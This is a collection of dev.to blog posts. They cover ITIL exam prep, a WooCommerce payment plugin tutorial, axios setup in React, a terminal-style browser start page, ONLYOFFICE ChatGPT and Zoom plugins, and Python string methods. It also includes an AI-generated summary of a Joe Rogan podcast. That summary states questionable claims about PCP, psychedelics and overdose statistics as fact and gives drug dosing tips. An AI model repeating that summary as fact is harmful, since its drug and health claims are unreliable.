to gain additional education or work experience before taking the exam. ## The ITIL 4 Foundation Exam Content The ITIL 4 Foundation exam content is designed to test your understanding of the ITIL framework and its key concepts. The exam covers the following topics: **Introduction to ITIL:** This section covers the history and evolution of ITIL, the purpose and objectives of ITIL, and the key concepts and terminology used in the framework. **ITIL Service Management Processes:** This section covers the various ITIL service management processes, including service strategy, service design, service transition, service operation, and continual service improvement. You will learn about the purpose and objectives of each process, the activities involved, and the relationships between different processes. **ITIL Practices:** This section covers the ITIL practices that support the service management processes, including governance, risk management, service level management, service continuity management, and security management. You will learn about the purpose and objectives of each practice, the activities involved, and how they support the service management processes. **Key ITIL Concepts and Terminology:** This section covers the key concepts and terminology used in ITIL, including service value system, service value chain, service assets, service offerings, and customer journeys. You will learn about the definitions and relationships between different concepts and how they are used in the ITIL framework. The ITIL 4 Foundation exam content is designed to test your understanding of the key concepts and principles of the ITIL framework. By familiarizing yourself with the exam content, you can identify the areas you need to focus on when preparing for the exam. It is important to note that the ITIL 4 Foundation exam content may vary slightly depending on the training provider or exam organization. It is always a good idea to check with the exam provider to confirm the specific exam content and topics that will be covered on the exam. ## The Best Study Resources for the ITIL 4 Foundation Exam There are a number of study resources available for the ITIL 4 Foundation exam. These resources can help you prepare for the exam and increase your chances of passing. Some of the best study resources for the ITIL 4 Foundation exam include **Official ITIL Study Guides: **The official ITIL study guides are the most comprehensive and authoritative resources for the ITIL 4 Foundation exam. These guides provide a comprehensive overview of the ITIL framework and its key concepts and can help you prepare for the exam. **ITIL 4 Foundation Training Courses:** [ITIL 4 Foundation training courses](https://www.ccslearningacademy.com/product/itil-4-foundation/) are a great way to prepare for the exam. These courses provide a structured and comprehensive overview of the ITIL framework and can help you develop a deep understanding of the key concepts and principles. **Practice Exams:** Practice exams can help you familiarize yourself with the exam format and the types of questions you may encounter. You can use these exams to assess your understanding of the ITIL framework and identify any areas where you need to improve. **ITIL Community:** Joining the ITIL community can be a great way to connect with other ITIL practitioners and learn about best practices and real-world applications of the ITIL framework. You can also find study groups and other resources that can help you prepare for the ITIL 4 Foundation exam. **Online Resources:** There are many online resources available for the ITIL 4 Foundation exam, including articles, blog posts, videos, and forums. These resources can provide valuable information and insights into the ITIL framework and can help you prepare for the exam. By using a combination of these study resources, you can prepare effectively for the ITIL 4 Foundation exam and increase your chances of passing. It is important to find the study resources that work best for you and to use them in a way that supports your learning style and goals. ## Conclusion: In conclusion, the ITIL 4 Foundation certification is an essential certification for anyone looking to start or advance their career in IT service management. By following the guidelines outlined in this blog post, you can prepare yourself for the ITIL 4 Foundation exam and increase your chances of passing on the first try. With this blog post, you can provide valuable information to your audience while also targeting the keyword "ITIL 4 Foundation Exam". Good luck!
ccslearning
1,364,656
WooCommerce Hosted Payment Plugin Development
WooCommerce is a very popular e-commerce platform not just because it's easy to set up on top of...
0
2023-02-14T03:48:37
https://meeco.dev/woocommerce-payment-plugin-development/
technology, wordpress, plugindevelopment, woocommerce
--- title: WooCommerce Hosted Payment Plugin Development published: true date: 2023-01-09 15:49:45 UTC tags: Technology,WordPress,PluginDevelopment,WooCommerce canonical_url: https://meeco.dev/woocommerce-payment-plugin-development/ --- ![WooCommerce Hosted Payment Plugin Development](https://meeco.dev/content/images/2023/01/cardmapr-nl-s8F8yglbpjo-unsplash.jpg) [WooCommerce](https://woocommerce.com) is a very popular e-commerce platform not just because it's easy to set up on top of any WordPress instance, it is also **FREE**. However, imagine setting up your digital shop, finishing up configuring your product catalog and inventory, only to find out that your local payment service providers do not offer direct integrations with WooCommerce and international payment service providers just isn't viable due to certain reasons such as exorbitant fees or geographical restrictions. If it so happened that you also know how to [develop WordPress plugins](https://meeco.dev/wordpress-plugin-development-primer), then this guide is perfect for you. ## What this guide is and what is it not Different payment service providers offer different types of payment solutions. This guide is written specifically for **Hosted Checkout** or **Redirect-based** workflows and how to integrate it with WooCommerce. For an example of a hosted checkout experience, you can refer to [Stripe Checkout](https://stripe.com/docs/payments/checkout) and [several implementations](https://wordpress.org/plugins/search/stripe+checkout) of it by different plugin authors. While you can probably lift and apply most of the concepts and some of the code snippets from this guide to other types of payment solutions, this implementation is not a one-size-fits-all approach. Expect not the best of practices for developing plugins for the sake of simplicity, and that there can be better implementations out there aside from this one. Our objective is to have a functional payment plugin at the end of this guide. We will try to cover and support other common features such as real-time order status updates based on payment status, voiding and refunding, as well as manual captures in upcoming posts. ## Definition of Terms Before we start writing any code, it's better to define some terms that will be used throughout this guide for clarity. - **WordPress Core** - refers to the primary process that executes every time you navigate throughout a WordPress application, whether it is a web page or the administration dashboard. Remember that WordPress is just a PHP application after all, executed by the web server for every request it will receive. - **Hooks** - are basically callback functions that extend the WordPress Core. - **Action Hooks** - are callback functions that introduce side-effects to the WordPress Core. Side effects are workflows triggered after certain events during the execution of the WordPress Core. Side effects can be in the form of interactions with the database or showing certain views or information to the user on certain processes or workflows. Action hooks may accept parameters but do not provide any return value to the process or function that called it. - **Filter Hooks** - are callback functions primarily used for transforming data within certain workflows during the execution of the WordPress Core. This is usually used for transforming data before being processed by WordPress Core or before being rendered as part of the UI that the user will see. Filter hooks may accept parameters and requires a return value to the process or function that called it. - **Payment Gateway** - throughout this guide, we will refer to this as the actual integration point between your payment service provider and WooCommerce. Technically, this is where the logic of your payment plugin will be written and/or configured. ## Start Writing Code While it's not the best practice, the whole plugin in this guide will be written in just one file, `index.php`, for the sake of simplicity. After the [plugin header](https://meeco.dev/wordpress-plugin-development-primer#the-initial-file), first we want to write the following code: ```php if (!defined('ABSPATH')) { exit; } ``` What this snippet does is to check the existence of a constant named `ABSPATH`. This is a global constant that WordPress usually sets in `wp-config.php`. If there is no value, the script just terminates. This is to prevent the plugin file to be accessed directly via browser should it be exposed directly from the file system. While it's totally optional, this is a good way to ensure that attackers cannot abuse your plugin directly. Next, we define a callback function for the `plugins_loaded` action hook for registering our custom payment method to WooCommerce, then call the action hook immediately after. ```php function wc_my_custom_gateway_init() { } add_action('plugins_loaded', 'wc_my_custom_gateway_init'); ``` ### Plugin Initalization It is important to note that WooCommerce payment plugins are heavily dependent on the WooCommerce plugin itself, hence it needs to be loaded first before any payment plugin can be registered. In this sense, the following code snippets **should be located within** the callback function above to avoid errors. Next, we define our payment gateway class and extend the `WC_Payment_Gateway` parent class from WooCommerce. We will focus on this class later on, so we can leave it empty for now. ```php class WC_My_Custom_Gateway extends WC_Payment_Gateway { } ``` Note that the class name of your payment gateway can be anything you want. However, it is best practice to make it as unique as possible to avoid conflicts with other WordPress plugins. After declaring our payment gateway class, we want to declare a function to register our payment gateway to WooCommerce and call it with the `woocommerce_payment_gateways` filter hook. ```php function add_my_custom_gateway($methods) { $methods[] = 'WC_My_Custom_Gateway'; return $methods; } add_filter('woocommerce_payment_gateways', 'add_my_custom_gateway'); ``` After writing all that, you should have the an `index.php` file with full content below: ```php <?php /** * PHP version 7 * Plugin Name: WooCommerce Custom Payment Gateway * Description: A sample WooCommerce custom payment gateway plugin * Author: Mico * Author URI: https://meeco.dev * Version: 1.0.0 * Requires at least: 5.3.2 * Tested up to: 6.0.2 */ /** * This prevents direct access to the file; remember that WordPress * is just another PHP application served by a webserver, hence file * access through a browser is possible and can be abused by attackers. */ if (!defined('ABSPATH')) { exit; } /** * Action hook callback to initialize your payment plugin */ function wc_my_custom_gateway_init() { /** * Your payment gateway class */ class WC_My_Custom_Gateway extends WC_Payment_Gateway { } /** * Filter hook callback to register your custom payment gateway to * valid WooCommerce Payment Gateways */ function add_my_custom_gateway($methods) { $methods[] = 'WC_My_Custom_Gateway'; return $methods; } add_filter('woocommerce_payment_gateways', 'add_my_custom_gateway'); } /** * Make sure to load your plugin after all other plugins are loaded * to make sure WooCommerce has already loaded so you can register * your payment plugin. */ add_action('plugins_loaded', 'wc_my_custom_gateway_init'); ``` Ideally, you can extract certain parts of the plugin to separate PHP files and just include it in `index.php` using the `include_once` directive. For example, you can move the payment gateway class to its own file instead of just declaring it within the `plugins_loaded` action hook callback function. ### Building the Payment Gateway Class Extending the `WC_Payment_Gateway` class allows us to configure the behavior of our payment plugin. The first thing we need to do is define a public `__construct()` function and fill out the following properties we are extending from the parent class. ```php class WC_My_Custom_Gateway extends WC_Payment_Gateway { public function __construct() { $this->id = 'my_custom_gateway'; $this->method_title = 'My Custom Payment Gateway'; $this->method_description = 'Pay easily with my custom gateway'; $this->title = 'Your Payment Gateway'; } } ``` - **id [required]** - unique gateway ID. Ideally no spaces nor special characters, and uses snake-case for readability. - **method\_title [required]** - the value for this is what is used to display the payment method in the payment method settings of WooCommerce. - **method\_description [required]** - the value for this is shown on the actual payment method settings page itself, describing what the payment method is. - **title [optional]** - shown as part of the method\_title in the payment method If there are no errors, you should be able to see the following in its respective URLs: ![WooCommerce Hosted Payment Plugin Development](https://meeco.dev/content/images/2023/01/Payment-Settings-page.png) <figcaption>/wp-admin/admin.php?page=wc-settings&tab=checkout</figcaption> ![WooCommerce Hosted Payment Plugin Development](https://meeco.dev/content/images/2023/01/Payment-Method-Settings-page.png) <figcaption>/wp-admin/admin.php?page=wc-settings&tab=checkout&section=my_custom_gateway</figcaption> ### Adding Settings for your Plugin Integrating with your chosen payment service probably requires your plugin users to input their credentials such as API keys, callback URLs, or other hosted checkout customizations. For this example, let's assume that we need to have the following fields for configuration: - Merchant ID - Mode Dropdown Toggle - Sandbox Public API Key - Sandbox Secret API Key - Live Public API Key - Live Secret API Key For the mode field, it's best to use the radio group or checkbox as the value can normally be represented with two radio options or a boolean, respectively. We will just show the capability of the settings page to render a dropdown field for this guide. Extending the `WC_Payment_Gateway` allows us to leverage the [WordPress Settings API](https://developer.wordpress.org/plugins/settings/settings-api) and enables us to create our own settings page. In your payment gateway class, you can do the following: ```php class WC_My_Custom_Gateway extends WC_Payment_Gateway { public function __construct() { $this->id = 'my_custom_gateway'; $this->method_title = 'My Custom Payment Gateway'; $this->method_description = 'Pay easily with my custom gateway'; $this->title = 'Your Payment Gateway'; $this->init_form_fields(); $this->init_settings(); add_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array($this, 'process_admin_options'), ); } public function init_form_fields() { $this->form_fields = array( 'enabled' => array( 'title' => 'Enable/Disable', 'label' => 'Enable/Disable the Custom Gateway', 'type' => 'checkbox', 'default' => 'no', ), 'merchant_id' => array( 'title' => 'Merchant ID', 'type' => 'text', 'description' => 'Your merchant ID', ), 'mode' => array( 'title' => 'Mode', 'type' => 'select', 'options' => array( 'sandbox' => 'Sandbox', 'production' => 'Production', ), 'description' => 'Toggle between sandbox and production mode', 'default' => 'sandbox', ), 'production_public_key' => array( 'title' => 'Production Public Key', 'type' => 'text', ), 'production_secret_key' => array( 'title' => 'Production Secret Key', 'type' => 'password', ), 'sandbox_public_key' => array( 'title' => 'Sandbox Public Key', 'type' => 'text', ), 'sandbox_secret_key' => array( 'title' => 'Sandbox Secret Key', 'type' => 'password', ), ); } } ``` First, declare a public method called `init_form_fields()` within your payment gateway class. Inside this public method, we will assign an array to the class property `form_fields`. This array will contain key-value pairs with each option key paired with another array value containing its configuration including but not limited to the title, type of the field, description, and even the default value. For all the available values and configurations per field type, check out the [WooCommerce Settings API](https://woocommerce.com/document/settings-api) documentation. Then, add the `$this->init_form_fields()` and `$this->init_settings()` call at the bottom part of the constructor. This will basically initialize all the values of the defined fields after the plugin has been registered. Lastly, call the `woocommerce_update_options_payment_gateways_{gateway_id}` action hook with the method `process_admin_options` for the gateway to be able to save the settings. At this point, if you don't encounter any errors, you will have the following screen below, complete with the functionality to save any data that you need to integrate with your payment service provider. ![WooCommerce Hosted Payment Plugin Development](https://meeco.dev/content/images/2023/01/Payment-Method-Settings-Page-with-Fields.png) <figcaption>/wp-admin/admin.php?page=wc-settings&tab=checkout&section=my_custom_gateway</figcaption> Also, if you enable your payment gateway at this point, you should be able to see it as a payment method option in the actual checkout page. ![WooCommerce Hosted Payment Plugin Development](https://meeco.dev/content/images/2023/01/Sample-Checkout.png) <figcaption>/checkout</figcaption> You need to fix your permalinks to navigate to `/checkout`, otherwise you'll be seeing something similar to `?page=X` where X is the page ID. ### Process the Actual Payment For this section, we will set certain assumptions for the payment service provider, including data for endpoints, payload, and workflow. - Assume that we need to send the payload below as a POST request to the `/checkout` endpoint of the payment service provider's public API to create a checkout. ```json { "first_name": "{customer_first_name}", "last_name": "{customer_last_name}", "total_amount": "{order_total_amount}", "redirect_url": "{redirect_url}", } ``` - Assume that we will receive the payload below after creating a checkout. This usually contains the hosted checkout URL where the customers can process their payments. ```json { "checkout_id": "chkout_fa21af237u3", "checkout_url": "https://your-payment-service-provider.com/hosted-checkout?id=chkout_fa21af237u3", } ``` - Assume that requests need to have an Authorization header with the base64-encoded secret key as value. Now that we have the assumptions above, you can add make the following changes to your code: ```php class WC_My_Custom_Gateway extends WC_Payment_Gateway { protected $mode; protected $secret_key; public function __construct() { $this->id = 'my_custom_gateway'; $this->method_title = 'My Custom Payment Gateway'; $this->method_description = 'Pay easily with my custom gateway'; $this->title = 'Your Payment Gateway'; $this->init_form_fields(); $this->init_settings(); add_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array($this, 'process_admin_options'), ); /** * This is a pretty nifty trick to set public/secret keys on your * gateway instance if you implement mode as a dropdown instead of * checkbox or radio group */ $this->mode = $this->get_option('mode'); $this->secret_key = $this->get_option($this->mode . '_secret_key'); } /** * ASSUME THE FORM FIELDS SETTINGS IS HERE */ public function process_payment($order_id) { /** Get the actual order object via ID */ $order = wc_get_order($order_id); $payload = json_encode( array( 'first_name' => $order->get_billing_first_name(), 'last_name' => $order->get_billing_last_name(), /** get_total() returns a string value so you need to convert */ 'total_amount' => floatval($order->get_total()), 'redirect_url' => $order->get_checkout_order_received_url(), ) ); $request_args = array( 'body' => $payload, 'method' => 'POST', 'headers' => array( 'Authorization' => 'Basic ' . base64_encode($this->secret_key . ':'), 'Content-Type' => 'application/json' ) ); $response = wp_remote_post('https://your-payment-service-provider.com/checkout', $request_args); $body = json_decode($response['body'], true); $order->add_meta_data($this->id . '_checkout_id', $body['checkout_id']); return array( 'result' => 'success', 'redirect' => $body['checkout_url'], ); } } ``` In the code above, the first thing we did was to add two protected properties in our payment gateway class: `mode` and `secret_key`. We also assigned values to them at the end of the `__construct()` function, retrieving their corresponding values from the settings page we created earlier. Next, we defined a public function called `process_payment`, taking in one parameter, `order_id`. This is extended from the parent `WC_Payment_Gateway` class and this is where the actual integration normally happens. For hosted checkout workflows, this is where you usually construct the payload with all the customer and transaction details that will populate your hosted checkout page. In our example, we retrieved all the details we need from the [WooCommerce Order object](https://woocommerce.github.io/code-reference/classes/WC-Order.html), from customer name to total transaction amount and constructed the JSON payload. After that, we constructed the request arguments, including the Base64 encoded secret key for the authorization header. Lastly, we sent the request to the public API of the payment service provider using the indicated endpoint and `wp_remote_post()` function from WordPress. Assuming it was a successful attempt, all we need to is to decode the JSON response payload, associate the checkout ID to the order metadata – which is critical if you want to resolve order statuses in real-time with payment statuses, then returned an array with the `result` and `redirect` keys, the latter set to whatever the value of the checkout URL from the response payload is. This only follows the happy path for transacting. You need to also handle errors coming in from the payment service provider's public API. Ideally, you want to create an API library that you want to instantiate in your payment gateway class so you can abstract the construction of the request payload and headers, as well as the call to the actual public API endpoints of the payment service provider. ### Final step If you're integrating with an actual payment service provider, all that's needed now is to test. If you have followed everything so far, you should be able to place an order in your e-commerce website using your custom payment gateway as the payment method, get redirect to the hosted checkout page, process your payment, and get redirected back to your e-commerce website. ## What's Next? At this point, there are several other features that you probably need/want to develop to have a better workflow: - If your payment service provider's public API offers registration a notification mechanism for payment statuses – usually in the form of webhooks – you may want to implement handling webhooks using the [WooCommerce API Callback](https://woocommerce.com/document/wc_api-the-woocommerce-api-callback) or even [WordPress Custom Endpoints](https://developer.wordpress.org/rest-api/extending-the-rest-api/adding-custom-endpoints), instead of just pinging back other API endpoints to check the payment status. - If your payment service provider supports voiding and refunding, you probably want to implent the `process_refund()` method from the `WC_Payment_Gateway` parent class. - Manual capture is a bit more tricky as this requires extending the admin dashboard user interface to provide for the manual capture functionality. I am reserving this to explain in detail for another technical post.
micahbule
1,364,732
Use axios as better practice in ReactJS
in this post i explain use axios as in ReactJS as better practice.you all kown very well axios handle...
0
2023-02-14T03:40:56
https://dev.to/deepakjaiswal/use-axios-as-better-practice-in-reactjs-2m6b
webdev, javascript, programming, beginners
in this post i explain use axios as in **ReactJS** as better practice.you all kown very well axios handle http request in single promise. ## Use axios as http ``` import axios from 'axios'; export let URL="http://localhost:5000/api/v1"; export let URL_PROFILE="http://localhost:5000/uploads/avatar/"; export let URL_POST="http://localhost:5000/uploads/posts/"; export let AUTH_TOKEN=localStorage.getItem('token')||''; axios.defaults.baseURL = URL; axios.defaults.headers.common['x-auth-token'] = AUTH_TOKEN; axios.defaults.headers.post['Content-Type'] = 'application/x-www-form-urlencoded'; export const http=axios; ``` and use http in your services like ``` import { http, URL } from "./http.service"; import { errorHandler } from "./error.service"; export const getAllTags=async ()=>{ try { let resp=await http.get(URL+'/tag/all/tags') return resp; } catch (error) { errorHandler(error) } } ``` it is better practice to use axios in your application and when you change your default token like this ``` import { http} from "./http.service"; export const setToken=(token)=>{ axios.defaults.headers.common['x-auth-token'] = token; } ``` ## use error handler ``` import { toast } from "react-toastify" export const errorHandler=(error)=>{ if(error.message==="Network Error" && error.status===500){ toast.error(error.message) } toast.error(error?.response?.data?.message) } ``` I think you better understanding of axios better practice to use. thank you.
deepakjaiswal
1,364,944
Terminal Inspired, Clean and Customizable Browser Start Page
For a long time I wanted to create my own start page looking like my terminal, so here it is! It...
0
2023-02-14T08:32:54
https://dev.to/excalith/start-page-4nkj
startpage, react, browser, docker
For a long time I wanted to create my own start page looking like my terminal, so [here it is](https://excalith-start-page.vercel.app)! It includes my common bookmarks where I can search through them with my terminal-inspired prompt. There are multiple ways to customize it, so be sure to check out the [repository](https://github.com/excalith/excalith-start-page) and [wiki page](https://github.com/excalith/excalith-start-page/wiki) page for customization options. ![Start Page animated gif showing some features](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/acjdftoayhn69lfmo65r.gif) ## Demo - You can check the working version from [here](https://excalith-start-page.vercel.app) - You can pull the Docker image from [here](https://hub.docker.com/r/excalith/start-page) ## Features - Quickly filter links by typing in the prompt. Hitting `Enter` will open all filtered links at once - If nothing filtered, the text in prompt will use the default search engine for searching your input - Launch websites directly from the prompt. Just type the URL (ie. `github.com`) - Search websites with custom commands. For example, type `s some weird bug` to search StackOverflow for `some weird bug` - Multiple ways to customize the start page to your liking ### Built-In Commands - Show usage with `help` command (shows basic usage and your configured search shortcuts) - Show info with `fetch` command (time, date, system and browser data) - Update your configuration with `config` command - `config import <url>` - Import configuration from a URL to your local storage - `config edit` - Edit local configuration within editor - `config reset` - Reset your configuration to default ### Key Bindings - Clear the prompt quickly with `CTRL + C` - Close window with `ESC` ## Customization There are multiple ways of customizing the start page to making it yours! - Use `config edit` to edit your configuration within the start page code editor - Use `config import <url>` to import configuration from a URL - Change the default configuration in `startpage.config.js` file and deploy your own version Please refer to [wiki page](https://github.com/excalith/excalith-start-page/wiki) for more information.
excalith
1,364,951
ChatGPT made this podcast summary: JRE — B-Real #1939
I share an example of what the app (Eightify) can do — a summary of JRE’s podcast. Check this out and...
0
2023-02-14T08:48:17
https://dev.to/lisan_23/chatgpt-made-this-podcast-summary-jre-1939-b-real-45c7
gpt3, ai, podcast
I share an example of what the app (Eightify) can do — a summary of JRE’s podcast. Check this out and share your opinion — would be happy to hear it. [Here](https://dev.to/lisan_23/chatgpt-made-this-podcast-summary-trash-taste-the-dark-side-of-teaching-in-japan-137-4m57) is my previous post about [the app](https://www.eightify.app) and the Idea of summarising podcasts. ![Image description](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4cfkfiqsmj2ypbh04ig6.png) Psychedelics, cannabis, breakdancing, music, and Griselda Blanco’s story are all discussed in the video, emphasizing the importance of moderation and safety. **00:00** 💊 California has high taxes on cannabis, but people are using microdoses and moderate doses of psilocybin to treat various conditions. And myths about PCP have been used to change laws, but psychedelics should only be done with a guide and in moderation. - California has high taxes on cannabis, but illegal sales are still up due to the difficulty of getting a license to sell legally. - People are using microdoses and moderate doses of psilocybin to treat depression, anxiety, addiction, PTSD, and end-of-life anxiety. And cannabis can help people stay relaxed and young-minded. - PCP enabled a gangster to survive a shotgun blast to the stomach and have his toe surgically replaced with his finger. Myths about PCP were used to change laws, such as police departments switching to 38 caliber revolvers, as it was believed to make people less vulnerable to bullets. - Some people have natural strength and can fight like MMA fighters, and taking certain medications with psilocybin can be dangerous and lead to a loss of reality. - It is not recommended to do psychedelics without a guide, and even then, it should be done in moderation. **33:49** 🤔 Taking shrooms can be a spiritual experience, but it’s important to be aware of the risks and take precautions. Cannabis acceptance is increasing, dabbing is intimidating but can be embraced, and activities can be enhanced while high. - People are taking more mushrooms than before and going into an alternative reality, but it can be disrupted by someone, not in the same mindset. - Shrooms can cause seizures and increase heart rate, so it’s important to be aware of the risks and take precautions when using them. - 6000 years ago, Psilocybe hispanica mushrooms were used in religious rituals in Spain, potentially leading to the birth of Christianity. - Misinformation has kept people from understanding the positive effects of cannabis, but its acceptance is slowly increasing. - Rappers are intimidated by dabbing due to its strength, but some have adapted and embraced it, with Wiz Khalifa being an example of someone who smokes weed and concentrates all day. - Bowling and physical activities can be enhanced when done while high, as they can provide a heightened focus and improved technique. **57:35** 💪 Nims Purja’s incredible feat of conquering 12 peaks on Everest without assisted air, and the Midnight Races of 1923–1924, show that it is possible to overcome difficult life circumstances and use drugs as fuel to unlock one’s full potential. - People need to be educated properly about drugs and alcohol instead of being given half-truths and propaganda. - Immigrants in the early 1900s faced many hardships while trying to make their way to America, including bandits, elements, and lack of money. - More people are being heard than ever before, with more information and more important issues being raised, creating an overall net positive. - It is possible to overcome difficult life circumstances and use drugs as fuel to unlock one’s full potential. Nims Purja, a special operator with incredible endurance, conquered 12 peaks on Everest without assisted air, and an earthquake in Nepal caused an avalanche that devastated three places. - In 1920, the US House of Representatives voted to end all immigration to the United States for one year, leading to the chaotic Midnight Races of 1923–1924. **01:14:41** 💨 Start with 10mg of edibles and gradually increase as tolerance builds for a safe and enjoyable cannabis experience. - The president has the power to pardon federal criminal offenses, except in cases of impeachment, and the Last - - ---- Prisoner Project is working to get people out of jail for cannabis-related offenses in states where it is now legal. - The illegality of cannabis has caused a 25% increase in fentanyl overdose deaths in 2020, nearly double the amount of fentanyl overdose deaths in 2019. - We smoked out with Doug Benson before a show and he had to take a pause before leaving due to the effects of the bong. - We use glass pieces, vaporizers, and full-spectrum hemp oil for a natural and healthy smoking experience. - Educate dispensary budtenders on proper dosing and questioning to ensure customers have a positive experience. Start with 10mg of edibles and gradually increase to 20mg as tolerance builds. **01:45:05** 🤸‍♂️ Breakdancing has evolved from a solo practice to an organized sport, combining athleticism and art, and is now a worldwide phenomenon. - John Jones is the baddest motherfucker on earth and is a dynamic striker, and his fight with Cyril Gone is going to be something to watch as he has bulked up and trained with Lee - - Haney Duffy and Mackie Shillstone to become a heavyweight. - Breakdancing has evolved to include power moves that require incredible strength and agility and is now an Olympic sport. - A man with polio turned his disability into an advantage and became a freak street dancer, inspiring others to use their physical abilities to defy gravity and be recognized in the Olympics. - Breakdancing has evolved from a solo practice to an organized sport, combining athleticism and art, and is now a worldwide phenomenon. - 50 years of hip hop was celebrated at the Grammys, featuring pioneers like Run DMC, Grandmaster Flash, and Public Enemy, as well as overlooked artists like Cool G Rap and EPMD. - Producers like Dr. Dre added 808 basses to West Coast music to make it more LA-like and give people something to feel in their sound systems. **02:12:11** 🎶 Combining New York and LA influences, our unique sound was initially met with confusion but eventually gained recognition and support from Columbia Records. - We created a unique sound that combined New York and LA influences, which was initially met with confusion but eventually gained recognition and support from Columbia Records. - Hollywood has adapted to the changing times by creating more violent and graphic TV shows to keep up with the demand for more intense content. - John Wick has killed 299 people on screen, more than the combined total of Jason Voorhees and all the Friday the 13th and Halloween movies, making him the real serial killer. - Audiences don’t want new superheroes and artists to have to play their hits or else they’ll get criticized for not playing them. - Seeing Steve Miller live inspired the speaker to make sure fans don’t leave a Cypress Hill show feeling like they didn’t hear the hits. - “Zero Zero Zero” on Amazon is an under-the-radar show that is wild and crazy, according to Tommy Segura. **02:39:59** 🤠 Griselda Blanco was a powerful drug lord whose story should be told accurately, and people are still searching for the hidden cocaine and money from that era, but it’s still illegal to possess it. - Griselda Blanco was a powerful and dangerous drug lord who commanded respect and fear, and her story should be told accurately with the right casting. - People were burying trash bags filled with $100 bills in their backyards in the 80s, and now people are still trying to find the hidden cocaine and money from that era, but it’s still illegal to possess it. - A bear died after eating 75 pounds of cocaine that had been dumped from a plane in 1985. - PCP can produce an adrenaline release resulting in a fight or flight reaction, and its effects can vary greatly depending on the dosage, type of administration, and external stimulants. - Taking care of your voice and learning proper breathing techniques can help preserve it and prevent damage. - Take care of your tools and use them to create something that will last, like Johnny Cash’s music, which was full of life and emotion even in his last days. **03:10:22** 🤝 Catch me on YouTube with Dr. Green’s show Mon-Fri! I’m still your friend, and you can find me on YouTube with Dr. Green’s show, Monday through Friday.
lisan_23
1,365,056
ChatGPT and Zoom plugins are now available in ONLYOFFICE Docs
Perform tasks which involve understanding or generating natural language or code The...
0
2023-02-14T10:48:30
https://dev.to/onlyoffice/chatgpt-and-zoom-plugins-are-now-available-in-onlyoffice-docs-4fi7
onlyoffice, productivity, news, ai
## Perform tasks which involve understanding or generating natural language or code The ChatGPT plugin integrates the AI-based chatbot developed by OpenAI. Using it, you are able to get accurate answers to your questions, quickly find information, generate texts, and even get your code built right in ONLYOFFICE editors. ![ChatGPT plugin](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/uisyxupgnxn45bu4zy6l.png) ChatGPT can perform multiple tasks within responses that involve processing natural language: - Text generation based on inquiries; - Predicting and finishing pieces of text based on the input; - Question answering; - Translation; - Text summarization and structuring; - Sentiment analysis; - Conversation-style communication. [How to use the ChatGPT plugin](https://www.onlyoffice.com/blog/2023/02/chatgpt-plugin-in-onlyoffice-docs/) _Request examples_ - Tell me a brief history of open-source software. - Create HTML code for a table with real air humidity data in New York, highlight the columns and the headers. - Create HTML code for a random picture with green color present. - Generate a JavaScript code for a small arcade game. - Write a tagline for an ice cream parlor. ## Stay connected: hold video meetings right in the editors The Zoom plugin allows hosting conferences directly in the interface of ONLYOFFICE editors. You can make video and audio calls while collaborating on your documents with team using complete functionality of the Zoom platform: start, schedule, and join meetings, configure meeting parameters. [How to use the Zoom plugin](https://www.onlyoffice.com/blog/2023/02/zoom-plugin-in-onlyoffice-docs/) ![Zoom plugin](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fwh1yuyj3xvqtybcbipk.jpg) ## How to install plugins Both plugins can be easily enabled through the built-in Plugin Manager in the Plugins tab of ONLYOFFICE Docs with one click. ![Plugin Manager](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/8ssnhw8kygk159dqh5y1.png) ## How to build your own plugins Plugins allow adding extra features to the editors. Using ONLYOFFICE API documentation, you can create your own plugin and publish it in the ONLYOFFICE Plugin Marketplace. [Learn more](https://www.onlyoffice.com/blog/2022/10/how-to-publish-your-own-plugin-in-onlyoffice-marketplace/) **Useful links** [Documentation: Guide to ONLYOFFICE Docs plugins](https://api.onlyoffice.com/plugin/basic) [Getting started with plugins](https://api.onlyoffice.com/plugin/gettingstarted) [App Directory](https://www.onlyoffice.com/app-directory.aspx)
kseniafedoruk
1,365,076
Python String Methods
1.format(): The format() method is used to insert values into a string. It takes a string as a...
0
2023-02-15T12:53:07
https://dev.to/ajith_56/python-string-methods-363l
python, beginners
1.format(): The format() method is used to insert values into a string. It takes a string as a template and replaces any placeholders with the corresponding values. Example: ``` str = "I am {} {} method." print(str.format("learning", "format()")) #Output: I am learning format() method. ``` --- 2.capitalize(): The capitalize() method is used to convert the first character of a string to uppercase, and all other characters to lowercase. Example: ``` string = 'python Language' print(string.capitalize()) #Output: 'Python language' ``` The above line does not change the original string. To modify the original string, we should assign it to the original string variable. --- 3.upper(): The upper() method is used to convert all the characters in a string to uppercase. ``` string = 'python' string = string.upper() print(string) #Output: 'PYTHON' ``` We can use isupper() method on a string to check if all the characters in a string are in upper-case. --- 4.lower(): The lower() method is used to convert all the characters in a string to lowercase. ``` string = 'Python' print(string.lower()) #Output: 'python' ``` We can use islower() method on a string to check if all the characters in a string are in lower-case. --- 5.strip(): The strip() method removes any leading and trailing spaces from a string. ``` string = ' python ' print(string.strip()) #Output: 'python' ``` There are also lstrip() and rstrip() methods to strip only the left-end spaces and right-end spaces. --- 6.join(): The join() method is used to join all the string values inside a list with a specified separator. ``` list_of_strings = ['abc','def','ghi'] print(''.join(list_of_strings)) #Output: abcdefghi print(', '.join(list_of_strings)) #Output: abc, def, ghi ``` --- 7.isalnum(): The isalnum() method takes a string as an argument and returns True if all the characters in that string are alpanumeric, otherwise returns False. ``` string = 'Python3' print(string.isalnum()) #True string = 'Python&3' print(string.isalnum()) #False ``` --- 8.isalpha(): The isalpha() method takes a string as an argument and returns True if all the characters in that string are alpabets, otherwise returns False. ``` string = 'Python' print(string.isalpha()) #True string = 'Python3' print(string.isalpha()) #False ``` --- 9.isdigit(): The isdigit() method takes a string as an argument and returns True if all the characters in that string are digits, otherwise returns False. ``` string = '123' print(string.isdigit()) #True string = 'python' print(string.isdigit()) #False ``` --- 10.split(): The split() method is used to convert a string to a list of strings by splitting up the string at the specified separator. ``` languages = 'Python,Java,JavaScript' print(languages.split(',')) # ['Python', 'Java', 'JavaScript'] ``` --- 11.startswith(): The startswith() method is used to check whether a string starts with specified prefix or not. It returns True if the string starts with the specified string. ``` string = 'Python language' print(string.startswith('Pyth')) # True string = 'Python language' print(string.startswith('pyth ')) # False ``` --- 12.endswith(): The endswith() method is used to check whether a string ends with specified suffix or not. It 